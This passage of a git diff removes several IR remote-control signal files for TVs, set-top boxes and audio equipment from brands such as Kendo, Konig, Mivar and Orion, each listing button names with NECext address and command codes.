-name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir deleted file mode 100644 index 314d2a81d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: TV/SAT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 25 00 00 00 -# -name: STREAM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 28 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 35 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir deleted file mode 100644 index 341c790de..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 01 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 02 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 03 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 04 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 05 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 06 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 07 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 08 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 09 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0B 00 00 00 -# -name: KEY_DISPLAYTOGGLE -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0C 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0E 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 0F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 19 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 1A 00 00 00 -# -name: CLOCK -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 1E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 86 7C 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/konig/Unknown_konig/128,99.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/konig/Unknown_konig/128,99.ir deleted file mode 100644 index a544229b7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/konig/Unknown_konig/128,99.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 09 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 0B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 0E 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 0F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 10 00 00 00 -# -name: quick-view -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 11 00 00 00 -# -name: tv-av -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 12 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 13 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 14 00 00 00 -# -name: tone -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 15 00 00 00 -# -name: bar -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 16 00 00 00 -# -name: time-select -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 17 00 00 00 -# -name: time-set -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 18 00 00 00 -# -name: mono -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 19 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 1A 00 00 00 -# -name: auto-mem -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 1B 00 00 00 -# -name: ch-skip -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 1D 00 00 00 -# -name: aft -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 1E 00 00 00 -# -name: status -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 40 00 00 00 -# -name: display-cancel -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 42 00 00 00 -# -name: tune-right -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 43 00 00 00 -# -name: tune-left -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 44 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 45 00 00 00 -# -name: expand -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 46 00 00 00 -# -name: hold -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 47 00 00 00 -# -name: reveal -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 48 00 00 00 -# -name: browse -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 49 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 4A 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 4B 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 4C 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 80 63 00 00 -command: 4D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir deleted file mode 100644 index a2d2e03c0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 00 00 00 00 -# -name: P/L -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 02 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 03 00 00 00 -# -name: V/H -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 04 00 00 00 -# -name: J17 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 06 00 00 00 -# -name: W/N -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 07 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 09 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0A 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0E 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 0F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 11 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 12 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 13 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 14 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 15 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir deleted file mode 100644 index 05290043b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: FR -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 01 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 05 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 06 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 0F 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 19 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 1A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 1C 00 00 00 -# -name: EQ -type: parsed -protocol: NECext -address: 40 AF 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir deleted file mode 100644 index 6e6fc2973..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 02 00 00 00 -# -name: bass+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 03 00 00 00 -# -name: bass- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 05 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 09 00 00 00 -# -name: KEY_L -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 0D 00 00 00 -# -name: sr- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 10 00 00 00 -# -name: sl+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 11 00 00 00 -# -name: sl- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 12 00 00 00 -# -name: c+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 15 00 00 00 -# -name: c- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 16 00 00 00 -# -name: sr+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 17 00 00 00 -# -name: KEY_R -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 19 00 00 00 -# -name: treble+ -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1C 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1D 00 00 00 -# -name: treble- -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1E 00 00 00 -# -name: preset -type: parsed -protocol: NECext -address: 80 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir deleted file mode 100644 index a2cabf444..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: Lum+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: Col+ -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: Lum- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: Col- -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: V-M -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 22 00 00 00 -# -name: P/C -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 24 00 00 00 -# -name: Muto -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: L1-L2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 26 00 00 00 -# -name: Canc -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: TV-TVD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2B 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 -# -name: All -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2D 00 00 00 -# -name: Riv -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2E 00 00 00 -# -name: spento -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: Ora -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir deleted file mode 100644 index 2ec52044c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: pp -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 16 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1C 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: normal -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1F 00 00 00 -# -name: I-II -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2C 00 00 00 -# -name: oo -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 32 00 00 00 -# -name: bluh -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: powa -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 34 00 00 00 -# -name: yellooo -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 35 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir deleted file mode 100644 index 11b394a78..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir deleted file mode 100644 index ab95c4c3d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 00 00 00 00 -# -name: CD/MD -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 01 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 02 00 00 00 -# -name: Scroll -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 03 00 00 00 -# -name: .../... -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 04 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 05 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 06 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 07 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 08 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 0B 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 0D 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 0F 00 00 00 -# -name: Skip+/SearchRight -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 10 00 00 00 -# -name: Skip/SearchLeft -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 12 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 13 00 00 00 -# -name: Prog/Random -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 14 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 17 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 1A 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 1B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 1C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 1D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 1E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 1F 00 00 00 -# -name: Auto_Blank -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 40 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 41 00 00 00 -# -name: CD_Synchro -type: parsed -protocol: NECext -address: 80 58 00 00 -command: 42 00 00 00 diff --git 